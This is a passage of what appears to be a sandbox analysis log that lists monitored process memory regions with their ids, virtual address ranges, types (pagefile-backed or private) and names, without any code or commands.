= "pagefile_0x000000001ba10000" filename = "" Region: id = 7867 start_va = 0x1ba10000 end_va = 0x1ba40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7868 start_va = 0x1ba10000 end_va = 0x1ba40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7870 start_va = 0x1b850000 end_va = 0x1b85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b850000" filename = "" Region: id = 7871 start_va = 0x1ba10000 end_va = 0x1ba1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba10000" filename = "" Region: id = 7872 start_va = 0x1ba20000 end_va = 0x1ba50fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba20000" filename = "" Region: id = 7873 start_va = 0x1ba20000 end_va = 0x1ba50fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba20000" filename = "" Region: id = 7874 start_va = 0x1ba20000 end_va = 0x1ba50fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba20000" filename = "" Region: id = 7875 start_va = 0x1ba20000 end_va = 0x1ba50fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba20000" filename = "" Region: id = 7876 start_va = 0x1ba20000 end_va = 0x1ba50fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba20000" filename = "" Region: id = 7877 start_va = 0x1ba20000 end_va = 0x1ba50fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba20000" filename = "" Region: id = 7878 start_va = 0x1ba20000 end_va = 0x1ba50fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba20000" filename = "" Region: id = 7879 start_va = 0x1ba20000 end_va = 0x1ba50fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba20000" filename = "" Region: id = 7880 start_va = 0x1ba20000 end_va = 0x1ba50fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba20000" filename = "" Region: id = 7881 start_va = 0x1ba20000 end_va = 0x1ba50fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba20000" filename = "" Region: id = 7882 start_va = 0x1ba20000 end_va = 0x1ba50fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba20000" filename = "" Region: id = 7884 start_va = 0x1ba60000 end_va = 0x1ba6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba60000" filename = "" Region: id = 7885 start_va = 0x1baf0000 end_va = 0x1bafffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001baf0000" filename = "" Region: id = 7886 start_va = 0x1bb10000 end_va = 0x1bb1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb10000" filename = "" Region: id = 7887 start_va = 0x1bb20000 end_va = 0x1bb2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb20000" filename = "" Region: id = 7888 start_va = 0x1bb30000 end_va = 0x1bb3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb30000" filename = "" Region: id = 7889 start_va = 0x1ba20000 end_va = 0x1ba50fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba20000" filename = "" Region: id = 7890 start_va = 0x1ba20000 end_va = 0x1ba50fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba20000" filename = "" Region: id = 7891 start_va = 0x1ba20000 end_va = 0x1ba50fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba20000" filename = "" Region: id = 7892 start_va = 0x1ba20000 end_va = 0x1ba50fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba20000" filename = "" Region: id = 7893 start_va = 0x1ba20000 end_va = 0x1ba50fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba20000" filename = "" Region: id = 7894 start_va = 0x1ba20000 end_va = 0x1ba50fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba20000" filename = "" Region: id = 7895 start_va = 0x1ba20000 end_va = 0x1ba50fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba20000" filename = "" Region: id = 7896 start_va = 0x1ba20000 end_va = 0x1ba50fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba20000" filename = "" Region: id = 7897 start_va = 0x1ba20000 end_va = 0x1ba50fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba20000" filename = "" Region: id = 7898 start_va = 0x1ba20000 end_va = 0x1ba50fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba20000" filename = "" Region: id = 7900 start_va = 0x1ba20000 end_va = 0x1ba2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba20000" filename = "" Region: id = 7901 start_va = 0x1ba30000 end_va = 0x1ba3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba30000" filename = "" Region: id = 7902 start_va = 0x1ba40000 end_va = 0x1ba4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba40000" filename = "" Region: id = 7903 start_va = 0x1ba50000 end_va = 0x1ba5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba50000" filename = "" Region: id = 7904 start_va = 0x1bb40000 end_va = 0x1bb4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb40000" filename = "" Region: id = 7905 start_va = 0x1ba10000 end_va = 0x1ba40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7906 start_va = 0x1ba10000 end_va = 0x1ba40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7907 start_va = 0x1ba10000 end_va = 0x1ba40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7908 start_va = 0x1ba10000 end_va = 0x1ba40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7909 start_va = 0x1ba10000 end_va = 0x1ba40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7910 start_va = 0x1ba10000 end_va = 0x1ba40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7911 start_va = 0x1ba10000 end_va = 0x1ba40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7912 start_va = 0x1ba10000 end_va = 0x1ba40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7913 start_va = 0x1ba10000 end_va = 0x1ba40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7914 start_va = 0x1ba10000 end_va = 0x1ba40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7915 start_va = 0x1ba10000 end_va = 0x1ba40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7916 start_va = 0x1ba10000 end_va = 0x1ba40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7917 start_va = 0x1ba10000 end_va = 0x1ba40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7918 start_va = 0x1ba10000 end_va = 0x1ba40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7919 start_va = 0x1ba10000 end_va = 0x1ba40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7920 start_va = 0x1ba10000 end_va = 0x1ba40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7921 start_va = 0x1ba10000 end_va = 0x1ba40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7922 start_va = 0x1ba10000 end_va = 0x1ba40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7923 start_va = 0x1ba10000 end_va = 0x1ba40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7924 start_va = 0x1ba10000 end_va = 0x1ba40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7925 start_va = 0x1ba10000 end_va = 0x1ba40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7926 start_va = 0x1ba10000 end_va = 0x1ba40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7927 start_va = 0x1ba10000 end_va = 0x1ba40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7928 start_va = 0x1ba10000 end_va = 0x1ba40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7929 start_va = 0x1ba10000 end_va = 0x1ba40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7930 start_va = 0x1ba10000 end_va = 0x1ba40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7931 start_va = 0x1ba10000 end_va = 0x1ba40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7932 start_va = 0x1ba10000 end_va = 0x1ba40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7934 start_va = 0x1ba10000 end_va = 0x1ba40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7935 start_va = 0x1ba10000 end_va = 0x1ba40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7936 start_va = 0x1ba10000 end_va = 0x1ba40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7937 start_va = 0x1ba10000 end_va = 0x1ba40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7938 start_va = 0x1ba10000 end_va = 0x1ba40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7939 start_va = 0x1ba10000 end_va = 0x1ba40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7940 start_va = 0x1ba10000 end_va = 0x1ba40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7941 start_va = 0x1ba10000 end_va = 0x1ba40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7942 start_va = 0x1ba10000 end_va = 0x1ba40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7943 start_va = 0x1ba10000 end_va = 0x1ba40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7944 start_va = 0x1ba10000 end_va = 0x1ba40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7945 start_va = 0x1ba10000 end_va = 0x1ba40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7946 start_va = 0x1ba10000 end_va = 0x1ba40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7947 start_va = 0x1ba10000 end_va = 0x1ba40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7948 start_va = 0x1ba10000 end_va = 0x1ba40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7949 start_va = 0x1ba10000 end_va = 0x1ba40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7950 start_va = 0x1b850000 end_va = 0x1b85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b850000" filename = "" Region: id = 7951 start_va = 0x1ba50000 end_va = 0x1ba5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba50000" filename = "" Region: id = 7953 start_va = 0x1ba10000 end_va = 0x1ba40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7954 start_va = 0x1ba10000 end_va = 0x1ba40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7955 start_va = 0x1ba10000 end_va = 0x1ba40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7956 start_va = 0x1ba10000 end_va = 0x1ba40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7957 start_va = 0x1ba10000 end_va = 0x1ba40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7958 start_va = 0x1ba10000 end_va = 0x1ba40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7959 start_va = 0x1ba10000 end_va = 0x1ba40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7960 start_va = 0x1ba10000 end_va = 0x1ba40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7961 start_va = 0x1ba10000 end_va = 0x1ba40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7962 start_va = 0x1ba10000 end_va = 0x1ba40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7963 start_va = 0x1ba10000 end_va = 0x1ba40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7964 start_va = 0x1ba10000 end_va = 0x1ba40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7965 start_va = 0x1ba10000 end_va = 0x1ba40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7966 start_va = 0x1ba10000 end_va = 0x1ba40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7967 start_va = 0x1ba10000 end_va = 0x1ba40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7968 start_va = 0x1b850000 end_va = 0x1b85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b850000" filename = "" Region: id = 7969 start_va = 0x1ba10000 end_va = 0x1ba1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba10000" filename = "" Region: id = 7970 start_va = 0x1ba20000 end_va = 0x1ba2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba20000" filename = "" Region: id = 7971 start_va = 0x1ba30000 end_va = 0x1ba3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba30000" filename = "" Region: id = 7972 start_va = 0x1ba40000 end_va = 0x1ba4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba40000" filename = "" Region: id = 7973 start_va = 0x1ba50000 end_va = 0x1ba5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba50000" filename = "" Region: id = 7974 start_va = 0x1ba60000 end_va = 0x1ba6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba60000" filename = "" Region: id = 7975 start_va = 0x1ba70000 end_va = 0x1ba7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba70000" filename = "" Region: id = 7976 start_va = 0x1ba80000 end_va = 0x1ba8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba80000" filename = "" Region: id = 7977 start_va = 0x1ba90000 end_va = 0x1ba9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba90000" filename = "" Region: id = 7979 start_va = 0x1bb10000 end_va = 0x1bb40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb10000" filename = "" Region: id = 7980 start_va = 0x1bb10000 end_va = 0x1bb40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb10000" filename = "" Region: id = 7981 start_va = 0x1bb10000 end_va = 0x1bb40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb10000" filename = "" Region: id = 7982 start_va = 0x1bb10000 end_va = 0x1bb40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb10000" filename = "" Region: id = 7983 start_va = 0x1bb10000 end_va = 0x1bb40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb10000" filename = "" Region: id = 7984 start_va = 0x1bb10000 end_va = 0x1bb40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb10000" filename = "" Region: id = 7985 start_va = 0x1bb10000 end_va = 0x1bb40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb10000" filename = "" Region: id = 7986 start_va = 0x1bb10000 end_va = 0x1bb40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb10000" filename = "" Region: id = 7987 start_va = 0x1bb10000 end_va = 0x1bb40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb10000" filename = "" Region: id = 7988 start_va = 0x1bb10000 end_va = 0x1bb40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb10000" filename = "" Region: id = 7989 start_va = 0x1bb10000 end_va = 0x1bb40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb10000" filename = "" Region: id = 7990 start_va = 0x1baa0000 end_va = 0x1baaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001baa0000" filename = "" Region: id = 7991 start_va = 0x1b850000 end_va = 0x1b85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b850000" filename = "" Region: id = 7993 start_va = 0x1ba10000 end_va = 0x1ba40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7994 start_va = 0x1ba10000 end_va = 0x1ba40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7995 start_va = 0x1ba10000 end_va = 0x1ba40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7996 start_va = 0x1ba10000 end_va = 0x1ba40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7997 start_va = 0x1ba10000 end_va = 0x1ba40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7998 start_va = 0x1ba10000 end_va = 0x1ba40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 7999 start_va = 0x1ba10000 end_va = 0x1ba40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 8000 start_va = 0x1b850000 end_va = 0x1b85ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b850000" filename = "" Region: id = 8001 start_va = 0x1ba10000 end_va = 0x1ba40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 8002 start_va = 0x1ba10000 end_va = 0x1ba1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 8003 start_va = 0x1ba20000 end_va = 0x1ba50fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba20000" filename = "" Region: id = 8004 start_va = 0x1ba20000 end_va = 0x1ba2ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba20000" filename = "" Region: id = 8005 start_va = 0x1ba30000 end_va = 0x1ba60fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba30000" filename = "" Region: id = 8006 start_va = 0x1ba30000 end_va = 0x1ba60fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba30000" filename = "" Region: id = 8007 start_va = 0x1ba30000 end_va = 0x1ba60fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba30000" filename = "" Region: id = 8008 start_va = 0x1ba30000 end_va = 0x1ba60fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba30000" filename = "" Region: id = 8009 start_va = 0x1b850000 end_va = 0x1b85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b850000" filename = "" Region: id = 8010 start_va = 0x1ba10000 end_va = 0x1ba1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba10000" filename = "" Region: id = 8011 start_va = 0x1ba20000 end_va = 0x1ba2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba20000" filename = "" Region: id = 8012 start_va = 0x1ba30000 end_va = 0x1ba3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba30000" filename = "" Region: id = 8013 start_va = 0x1ba40000 end_va = 0x1ba4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba40000" filename = "" Region: id = 8014 start_va = 0x1ba50000 end_va = 0x1ba5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba50000" filename = "" Region: id = 8015 start_va = 0x1ba60000 end_va = 0x1ba6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba60000" filename = "" Region: id = 8021 start_va = 0x1ba70000 end_va = 0x1ba8dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba70000" filename = "" Region: id = 8022 start_va = 0x1e6f0000 end_va = 0x1eeeffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001e6f0000" filename = "" Region: id = 8023 start_va = 0x1bb10000 end_va = 0x1bb40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb10000" filename = "" Region: id = 8024 start_va = 0x1ba70000 end_va = 0x1baa0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba70000" filename = "" Region: id = 8025 start_va = 0x1ba70000 end_va = 0x1baa0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba70000" filename = "" Region: id = 8026 start_va = 0x1ba70000 end_va = 0x1baa0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba70000" filename = "" Region: id = 8027 start_va = 0x1ba70000 end_va = 0x1baa0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba70000" filename = "" Region: id = 8028 start_va = 0x1baf0000 end_va = 0x1bafffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001baf0000" filename = "" Region: id = 8029 start_va = 0x1bb10000 end_va = 0x1bb1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb10000" filename = "" Region: id = 8030 start_va = 0x1bb20000 end_va = 0x1bb2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb20000" filename = "" Region: id = 8031 start_va = 0x1bb30000 end_va = 0x1bb3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb30000" filename = "" Region: id = 8033 start_va = 0x1ba10000 end_va = 0x1ba40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 8034 start_va = 0x1ba10000 end_va = 0x1ba40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 8035 start_va = 0x1ba10000 end_va = 0x1ba40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 8036 start_va = 0x1ba10000 end_va = 0x1ba40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 8037 start_va = 0x1ba10000 end_va = 0x1ba40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 8038 start_va = 0x1ba10000 end_va = 0x1ba40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 8039 start_va = 0x1ba10000 end_va = 0x1ba40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 8040 start_va = 0x1ba10000 end_va = 0x1ba40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 8041 start_va = 0x1ba10000 end_va = 0x1ba40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 8042 start_va = 0x1ba10000 end_va = 0x1ba40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 8043 start_va = 0x1ba10000 end_va = 0x1ba40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 8044 start_va = 0x1b850000 end_va = 0x1b85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b850000" filename = "" Region: id = 8045 start_va = 0x1ba10000 end_va = 0x1ba1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba10000" filename = "" Region: id = 8047 start_va = 0x1ba10000 end_va = 0x1ba40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 8048 start_va = 0x1ba10000 end_va = 0x1ba40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 8049 start_va = 0x1ba10000 end_va = 0x1ba40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 8050 start_va = 0x1ba10000 end_va = 0x1ba40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 8051 start_va = 0x1ba10000 end_va = 0x1ba40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 8052 start_va = 0x1ba10000 end_va = 0x1ba40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 8053 start_va = 0x1ba10000 end_va = 0x1ba40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 8054 start_va = 0x1ba10000 end_va = 0x1ba40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 8055 start_va = 0x1ba10000 end_va = 0x1ba40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 8056 start_va = 0x1ba10000 end_va = 0x1ba40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba10000" filename = "" Region: id = 8057 start_va = 0x1b850000 end_va = 0x1b85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b850000" filename = "" Region: id = 8058 start_va = 0x1ba10000 end_va = 0x1ba1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba10000" filename = "" Region: id = 8061 start_va = 0x1ba20000 end_va = 